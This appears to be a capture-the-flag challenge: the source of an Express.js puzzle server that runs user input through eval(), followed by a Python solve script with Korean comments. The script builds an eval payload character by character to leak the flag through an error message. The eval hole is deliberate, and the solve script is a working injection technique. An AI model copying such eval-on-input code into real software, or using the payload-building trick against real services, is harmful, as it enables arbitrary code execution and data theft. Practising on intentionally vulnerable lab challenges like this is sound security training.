1", "input.length <= 6 && (eval(input) > 0) == false && (eval(input) == 0) == false && (eval(input) >= 0) == true", "input == 0 && input == 1", ]; app.get('/', (req, res) => { if (req.query.reset === 'true') { stage = 0; } res.send(`
const fs = require('fs'); const express = require('express'); const port = 3000; const flag = fs.readFileSync('flag.txt', 'utf8'); const app = express(); app.use(express.urlencoded({ extended: false })); let stage = 0; const q = [ "('b'+'a'+ +'a'+'a').toLowerCase() == input", "typeof a == 'number' && a !== NaN && (a - 1 < a) == false", "Object.is(0, a) == false && Math.abs(1 / a) > 1", "input.length <= 6 && (eval(input) > 0) == false && (eval(input) == 0) == false && (eval(input) >= 0) == true", "input == 0 && input == 1", ]; app.get('/', (req, res) => { if (req.query.reset === 'true') { stage = 0; } res.send(` <h1>Stage: ${stage}</h1> <h2>${q[stage]}</h2> <form action="/check" method="post"> ${stage == 1 || stage == 2 ? 'a = parseInt("<input type="text" name="input" />")' : 'input = "<input type="text" name="input" />"'} <input type="submit" value="Submit" /> </form> <button onclick="window.location.href='/?reset=true'">Reset</button> `); }); app.post('/check', (req, res) => { const input = req.body.input.toString() || ''; let a; switch (stage) { case 0: if (input == ('b'+'a'+ +'a'+'a').toLowerCase()) { stage = 1; } break; case 1: a = parseInt(input); if (typeof a == 'number' && a !== NaN && (a - 1 < a) == false) { stage = 2; } break; case 2: a = parseInt(input); if (Object.is(0, a) == false && Math.abs(1 / a) > 1) { stage = 3; } break; case 3: if (input.length <= 6 && (eval(input) > 0) == false && (eval(input) == 0) == false && (eval(input) >= 0) == true) { stage = 4; } break; case 4: if (input == 0 && input == 1) { stage = 5; res.redirect('/flag'); } break; } res.redirect('/'); }); app.get('/flag', (req, res) => { res.send(stage == 5 ? flag : 'Do not cheat!'); }); app.listen(port, () => { console.log(`Server is running on port ${port}`); });
# solve_reloading.py import requests BASE = "<http://host8.dreamhack.games:20645>" s = requests.Session() def post(v): return s.post(f"{BASE}/check", data={"input": v}) def reset(): s.get(f"{BASE}/", params={"reset":"true"}) def bootstrap_to_stage3(): reset() post("banana") # Stage 0 -> 1 post("NaN") # Stage 1 -> 2 (parseInt -> NaN) post("-0") # Stage 2 -> 3 def build_string_c(target): # c="" (init) ; e=eval (alias) ; k=flag (short alias) post('e=eval') # 6 chars post('k=flag') # 6 chars (옵션: 최종 페이로드에서 flag 대신 k 사용) post('c=""') # 4 chars for ch in target: # b="x" (ex: b="t") -> 4~6 chars (항상 <= 6) post('b="'+ch.replace('"','\\\\"')+'"') # c+=b;1 -> 부작용으로 c에 1글자 추가, 평가값 1이라 단락됨 post('c+=b;1') def main(): # 1) Stage 3 위치로 세팅 bootstrap_to_stage3() # 2) 최종 페이로드 문자열 준비 # flag 별칭 k를 쓸 거라 "throw new Error(k)" 로 조립 payload = 'throw new Error(k)' # 3) c에 한 글자씩 누적 build_string_c(payload) # 4) eval(c) 실행 → 예외 발생, 에러 메시지에 flag 노출 기대 r = post('e(c)') print(r.text) # 여기서 Error 페이지/메시지 안에 플래그가 들어있어야 함 if __name__ == "__main__": main()